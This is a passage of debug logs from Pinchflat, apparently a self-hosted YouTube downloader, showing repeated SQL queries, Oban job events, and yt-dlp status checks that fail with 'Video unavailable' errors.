= 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [31] 19:43:37.056 [debug] QUERY OK source="tasks" db=0.1ms idle=3.3ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [7265, 90767, ~U[2026-06-02 23:43:37Z], ~U[2026-06-02 23:43:37Z]] 19:43:37.057 [debug] QUERY OK source="tasks" db=0.1ms idle=1.9ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [7266, 90892, ~U[2026-06-02 23:43:37Z], ~U[2026-06-02 23:43:37Z]] 19:43:37.059 [debug] QUERY OK source="tasks" db=0.2ms idle=1.3ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [7267, 90894, ~U[2026-06-02 23:43:37Z], ~U[2026-06-02 23:43:37Z]] 19:43:37.060 [debug] QUERY OK source="tasks" db=0.1ms idle=1.4ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [7268, 90907, ~U[2026-06-02 23:43:37Z], ~U[2026-06-02 23:43:37Z]] 19:43:37.061 [debug] QUERY OK source="tasks" db=0.1ms idle=1.3ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [7269, 91114, ~U[2026-06-02 23:43:37Z], ~U[2026-06-02 23:43:37Z]] 19:43:37.063 [info] {"args":{"id":90767},"id":7265,"meta":{},"system_time":1780443817063659143,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:43:37.064 [debug] QUERY OK source="media_items" db=0.3ms idle=3.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90767] 19:43:37.064 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:43:37.064 [debug] QUERY OK source="media_items" db=2.1ms idle=2.1ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [31] 19:43:37.064 [debug] QUERY OK source="sources" db=0.2ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:37.065 [debug] QUERY OK source="media_items" db=0.4ms idle=2.3ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [31] 19:43:37.065 [info] No notification servers provided for source 31 19:43:37.065 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:43:37.066 [debug] QUERY OK source="media_items" db=1.0ms idle=0.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [90767] 19:43:37.067 [debug] QUERY OK source="tasks" db=0.2ms idle=1.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [7270, 31, ~U[2026-06-02 23:43:37Z], ~U[2026-06-02 23:43:37Z]] 19:43:37.067 [debug] QUERY OK source="media_metadata" db=0.2ms idle=1.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [90767] 19:43:37.067 [info] {"args":{"id":31},"id":7254,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":76605023,"event":"job:stop","queue_time":63618,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 19:43:37.067 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:43:37.067 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:37.068 [debug] QUERY OK source="settings" db=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:37.068 [debug] Running yt-dlp command for action: get_downloadable_status 19:43:37.068 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:37.069 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:37.069 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:37.069 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=PwikML12sQQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/fb/3a/fb3a3ac81e7a81ab1fae080c920dbb1cec31ad3eaf96129409c4516cf88f3a45.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:43:38.423 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=PwikML12sQQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/fb/3a/fb3a3ac81e7a81ab1fae080c920dbb1cec31ad3eaf96129409c4516cf88f3a45.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] PwikML12sQQ: Video unavailable 19:43:38.424 [error] yt-dlp download error for media item #90767: "ERROR: [youtube] PwikML12sQQ: Video unavailable\n" 19:43:38.424 [error] yt-dlp download will not be retried: "ERROR: [youtube] PwikML12sQQ: Video unavailable\n" 19:43:38.424 [info] {"args":{"id":90767},"id":7265,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1360629,"event":"job:stop","queue_time":62329,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:43:38.430 [info] {"args":{"id":90892},"id":7266,"meta":{},"system_time":1780443818430826917,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:43:38.431 [debug] QUERY OK source="media_items" db=0.2ms idle=151.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90892] 19:43:38.431 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:43:38.431 [debug] QUERY OK source="sources" db=0.2ms idle=151.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:38.432 [debug] QUERY OK source="media_profiles" db=0.2ms idle=152.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:43:38.432 [debug] QUERY OK source="media_items" db=0.1ms idle=7.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [90892] 19:43:38.433 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [90892] 19:43:38.433 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:43:38.433 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:38.433 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:38.434 [debug] Running yt-dlp command for action: get_downloadable_status 19:43:38.434 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:38.434 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:38.434 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:38.434 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=XFrSMx11Tsk --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/fe/33/fe33c1d294c66c227fd0e5fa80c273584272c86b79bb094b8220d3bcefd94d4d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:43:39.746 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=XFrSMx11Tsk --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/fe/33/fe33c1d294c66c227fd0e5fa80c273584272c86b79bb094b8220d3bcefd94d4d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] XFrSMx11Tsk: Video unavailable 19:43:39.746 [error] yt-dlp download error for media item #90892: "ERROR: [youtube] XFrSMx11Tsk: Video unavailable\n" 19:43:39.746 [error] yt-dlp download will not be retried: "ERROR: [youtube] XFrSMx11Tsk: Video unavailable\n" 19:43:39.747 [info] {"args":{"id":90892},"id":7266,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1316057,"event":"job:stop","queue_time":1430364,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:43:39.753 [info] {"args":{"id":90894},"id":7267,"meta":{},"system_time":1780443819753013082,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:43:39.753 [debug] QUERY OK source="media_items" db=0.2ms idle=1318.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90894] 19:43:39.753 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:43:39.754 [debug] QUERY OK source="sources" db=0.1ms idle=1173.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:39.754 [debug] QUERY OK source="media_profiles" db=0.1ms idle=172.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:43:39.754 [debug] QUERY OK source="media_items" db=0.2ms idle=7.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [90894] 19:43:39.755 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [90894] 19:43:39.755 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:43:39.755 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:39.755 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:39.756 [debug] Running yt-dlp command for action: get_downloadable_status 19:43:39.756 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:39.756 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:39.757 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:39.757 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=EcNIYfYhbi0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/0d/70/0d701a2bbc8fe93aabdcdd8c2b75d3e47771775f8ba66382ad58f6581309d33c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:43:41.099 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=EcNIYfYhbi0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/0d/70/0d701a2bbc8fe93aabdcdd8c2b75d3e47771775f8ba66382ad58f6581309d33c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] EcNIYfYhbi0: Video unavailable 19:43:41.099 [error] yt-dlp download error for media item #90894: "ERROR: [youtube] EcNIYfYhbi0: Video unavailable\n" 19:43:41.100 [error] yt-dlp download will not be retried: "ERROR: [youtube] EcNIYfYhbi0: Video unavailable\n" 19:43:41.100 [info] {"args":{"id":90894},"id":7267,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1347010,"event":"job:stop","queue_time":2752362,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:43:41.107 [info] {"args":{"id":90907},"id":7268,"meta":{},"system_time":1780443821107010523,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:43:41.107 [debug] QUERY OK source="media_items" db=0.2ms idle=1350.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90907] 19:43:41.107 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:43:41.108 [debug] QUERY OK source="sources" db=0.2ms idle=1350.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:41.108 [debug] QUERY OK source="media_profiles" db=0.1ms idle=524.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", 